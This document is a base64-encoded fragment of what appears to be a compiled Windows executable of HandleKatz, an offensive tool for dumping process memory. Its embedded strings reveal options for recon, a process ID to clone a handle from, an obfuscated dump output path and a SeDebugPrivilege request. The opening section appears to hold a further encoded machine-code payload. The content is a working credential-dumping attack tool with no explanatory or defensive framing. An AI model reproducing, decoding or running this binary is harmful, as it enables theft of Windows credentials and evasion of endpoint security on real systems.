JtUklsVUpGNU1pV1FrWUVpSmhDU0lBQUFBU01lRUpKQUFBQUFBQUFBQVRJbmgvNVBJQUFBQVFZbkZTSmhJT2ZCelBVaUo4a2dwd2tpTkRGZE1pZUwva3lnQkFBQ0Z3SFVaU0lIRXFBQUFBRVNKNkZ0ZVgxMUJYRUZkdzJZUEgwUUFBRXlMWlFoSWc4VUlUWVhrZGJCRk1lM3IxWkNRa0pDUWtFRldRVlZCVkVtSjFGVkVpY1ZYUkluUFZraUp6bE5JZyt3Z1NJdFpXRWlMaENTQUFBQUFTSVhiZEcyTFVXQkVpMGxrUkRuS2NqWkhqU3dKVEl1d21BQUFBRVNKYVdUL2tJZ0FBQUJGaWVsSmlkZ3gwa2lKd1VuQjRRUkIvOVpJaWNOSWlVWllTSVhiZEZ1TFZtQkJpZENEd2dGSndlQUVUQUhEVElramlXc0lpWHNNaVZaZ1NJUEVJRnRlWDExQlhFRmRRVjdERHg4QVNJdVlnQUFBQU1kQlpDQUFBQUQva0lnQUFBQkJ1QUFDQUFBeDBraUp3Zi9UU0luRFNJbEdXRWlGMjNXbFNNZEdZQUFBQUFCSWc4UWdXMTVmWFVGY1FWMUJYc09Ra0pDUVZWZFdVMGhqYVR4SUFjMkx2WWdBQUFCSUFjOUVpMDhnaTNjWVNRSEpoZlowVm9uVFNZbkxSVEhTZ2ZORVEwSkJRWXNCdVFVVkFBQk1BZGhNalVBQkQ3WUFoTUIwSVdZdUR4K0VBQUFBQUFDSnlzSGlCUUhRQWNGTWljQkpnOEFCRDdZQWhNQjE2VG5aZEJSSmc4SUJTWVBCQkV3NTFuVzRNY0JiWGw5ZHc0dFhKRXVOREZPTFJ4d1B0eFFSU1kwVWs0c0VBa3dCMkVnNXgzZmVpNVdNQUFBQVNBSFhTRG40ZDlCYlNJbkJYbDlkNlJyMS8vK1FrSkNRa0pDUWtKQ1FRVlJCdVVBQUFBQkppY3hYVmt5SnhsTklpZE5JZyt4NFNNZEVKQ0FBQUFBQVRJMUVKRERvWmRqLy8waGpWQ1JzU1lud1RJbmhTTWRFSkNBQUFBQUFRYmtJQVFBQWljZElBZHJvUWRqLy8yYUJmQ1F3VFZwMUJBbkhkQlF4d0VpRHhIaGJYbDlCWE1NUEg0UUFBQUFBQURIQWdUNVFSUUFBRDVUQTYrR1FrSkJCVlVtSnpVaUowVUZVVTBpSjAwaUQ3RkRvMmZqLy8waUZ3SFEwU1luRVNZblpUWW5vTWRKSWljSG80ZWYvLzB5SjRVRzRBSUFBQURIUy8xTTRTSVBFVUxnQkFBQUFXMEZjUVYzRER4OUFBRWk0V3kxZElFWmhhV3pIUkNSQWJHVnpDa3lKNlVpNlpXUWdkRzhnWjJWSWlVUWtJRWk0ZENCaElHeHBjM1JJaVZRa0tFaTZJRzltSUdoaGJtUklpVlFrT0VpTlZDUWdTSWxFSkRER1JDUkVBUDlUQ0VpRHhGQXh3RnRCWEVGZHcxTzZ6OC9ZRkVpSnk3a3hyUUl4U0lQc0lPaHA5di8vdWlmby9aTzVNYTBDTVVpSkEraFg5di8vdWs3b2hwTzVNYTBDTVVpSlF3am9SUGIvLzdxSCs5cTV1WmZzVzVoSWlVTVE2REgyLy8rNnZvYlVxcmt4clFJeFNJbERHT2dlOXYvL3VrT0pNbm01TWEwQ01VaUpReURvQy9iLy83cTFoTVFJdVRHdEFqRklpVU1vNlBqMS8vKzZhb3pOSjdreHJRSXhTSWxETU9qbDlmLy91dE5NYm5tNU1hMENNVWlKUXpqbzB2WC8vN3B4ZmU5T3VXUFhUK1pJaVVOSTZMLzEvLys2ZkdIMFRybGoxMC9tU0lsRFVPaXM5Zi8vdWc0S0pLVzVNYTBDTVVpSlExam9tZlgvLzdvdHh4RmZ1VEd0QWpGSWlVTmc2SWIxLy8rNk1SL1pucmxqMTAvbVNJbERhT2h6OWYvL3V2U3ZmaWU1TWEwQ01VaUpRM0RvWVBYLy83cEtKTDlldVRHdEFqRklpVU40NkUzMS8vKzZSazRhaDdreHJRSXhTSW1EZ0FBQUFPZzM5Zi8vdW9IUUNuYTVNYTBDTVVpSmc0Z0FBQURvSWZYLy83cGhnbk5mdVRHdEFqRklpWU9RQUFBQTZBdjEvLys2dGlpdEVya3hyUUl4U0ltRG1BQUFBT2oxOVAvL3VyK3ovUjY1TWEwQ01VaUpnNkFBQUFEbzMvVC8vN3F5ckVyQ3VUR3RBakZJaVlPb0FBQUE2TW4wLy8rNmVJMnNjYmt4clFJeFNJbURzQUFBQU9pejlQLy91a29jQ0lPNU1hMENNVWlKZzdnQUFBRG9uZlQvLzdwazZJYVR1VEd0QWpGSWlZUEFBQUFBNklmMC8vKzZXL2h6anJreHJRSXhTSW1EeUFBQUFPaHg5UC8vdXR1bzBaYTVNYTBDTVVpSmc5QUFBQURvVy9ULy83cUxlamhNdVRHdEFqRklpWVBZQUFBQTZFWDAvLys2elFWQlVMbTdEczcxU0ltRDRBQUFBT2d2OVAvL3VpcTZOcFM1dXc3TzlVaUpnK2dBQUFEb0dmVC8vN29ZMnljNXVic096dlZJaVlQd0FBQUE2QVAwLy8rNnFhajlrN2t4clFJeFNJbUQrQUFBQU9qdDgvLy91aVFLSktXNU1hMENNVWlKZ3dBQkFBRG8xL1AvLzdyVzNKemt1VEd0QWpGSWlZTUlBUUFBNk1Iei8vKzZ0VVQxdDdreHJRSXhTSW1ERUFFQUFPaXI4Ly8vdXRxY3pidTVNYTBDTVVpSmd4Z0JBQURvbGZQLy83cXZudjJUdVRHdEFqRklpWU1nQVFBQTZIL3ovLys2UlozOWs3a3hyUUl4U0lsRFFPaHM4Ly8vdXNBdDdQcTVEY2xpSmtpSmd5Z0JBQURvVnZQLy8waUR1eEFCQUFBQVNJbURNQUVBQUErRUVRSUFBRWlEdXhnQkFBQUFENFFyQWdBQVNJTzdJQUVBQUFBUGhFVUNBQUJJZzN0Z0FBK0VZZ0lBQUVpRGUyZ0FENFIvQWdBQVNJTzdDQUVBQUFBUGhKa0NBQUJJZzNzSUFBK0V2Z0VBQUVpRGV4QUFENFN6QVFBQVNJTjdHQUFQaEtnQkFBQklnM3NnQUErRW5RRUFBRWlEZXlnQUQ0U1NBUUFBU0lON01BQVBoSWNCQUFCSWczczRBQStFZkFFQUFFaURlMGdBRDRSeEFRQUFTSU43VUFBUGhHWUJBQUJJZzN0WUFBK0VXd0VBQUVpRGUyQUFENFJRQVFBQVNJTjdhQUFQaEVVQkFBQklnM3R3QUErRU9nRUFBRWlEZTNnQUQ0UXZBUUFBU0lPN2dBQUFBQUFQaENFQkFBQklnN3VJQUFBQUFBK0VFd0VBQUVpRHU1QUFBQUFBRDRRRkFRQUFTSU83bUFBQUFBQVBoUGNBQUFCSWc3dWdBQUFBQUErRTZRQUFBRWlEdTZnQUFBQUFENFRiQUFBQVNJTzdzQUFBQUFBUGhNMEFBQUJJZzd1NEFBQUFBQStFdndBQUFFaUR1OEFBQUFBQUQ0U3hBQUFBU0lPN3lBQUFBQUFQaEtNQUFBQklnN3ZRQUFBQUFBK0VsUUFBQUVpRHU5Z0FBQUFBRDRTSEFBQUFTSU83NEFBQUFBQjBmVWlEdStnQUFBQUFkSE5JZzd2d0FBQUFBSFJwU0lPNytBQUFBQUIwWDBpRHV3QUJBQUFBZEZWSWc3c0lBUUFBQUhSTFNJTzdFQUVBQUFCMFFVaUR1eGdCQUFBQWREZElnN3NnQVFBQUFIUXRTSU43UUFCMEpraUR1eWdCQUFBQWRCeElnN3N3QVFBQUFIUVNNY0JJZ3pzQUQ1WEE2d2tQSDRBQUFBQUFNY0JJZzhRZ1c4TzYxdHljNUxtSUp2Z0E2Q0h4Ly85SWc3c1lBUUFBQUVpSmd4QUJBQUFQaGRuOS8vOFBIMEFBdXJWRTliZTVpQ2I0QU9qNThQLy9TSU83SUFFQUFBQklpWU1ZQVFBQUQ0Vy8vZi8vRHg5QUFMcmFuTTI3dVlnbStBRG8wZkQvLzBpRGUyQUFTSW1ESUFFQUFBK0ZwZjMvL3c4ZmdBQUFBQUM2RGdva3BibUlKdmdBNktudy8vOUlnM3RvQUVpSlEyQVBoWXY5Ly85bUxnOGZoQUFBQUFBQXVpM0hFVis1aUNiNEFPaUI4UC8vU0lPN0NBRUFBQUJJaVVOb0Q0VnUvZi8vRHgrQUFBQUFBTG9rQ2lTbHVZZ20rQURvV2ZELy8waUpnd2dCQUFEcFRQMy8vNUNRa0pDUWtKQ1FrSkNRa0pCQlZMb29BQUFBUlRIa1ZsTklpY3RJeDhILy8vLy9TSVBzY0VqSFJDUTRBQUFBQUV5TlJDUTRTTWRFSkVBQUFBQUFTTWRFSkVnQUFBQUE2RW5MLy8rRndIVldNY25IUkNSQUFRQUFBRWk2Y21sMmFXeGxaMlZJdUZObFJHVmlkV2RRU0lsVUpGaElqWFFrUUVpTlZDUlF4MFFrVEFJQUFBQk1qVVFrUkVpSlJDUlF4a1FrWUFEL2t6QUJBQUNGd0hVWFNJdE1KRGovVXloSWc4UndSSW5nVzE1QlhNTVBId0JJaTB3a09FRzVFQUFBQUVtSjhESFNTTWRFSkNnQUFBQUFTTWRFSkNBQUFBQUE2Q0hGLy85SWkwd2tPSVhBZFJqL1V5aEJ2QUVBQUFCSWc4UndSSW5nVzE1QlhNTVBId0QvVXloSWc4UndSSW5nVzE1QlhNT1F1QU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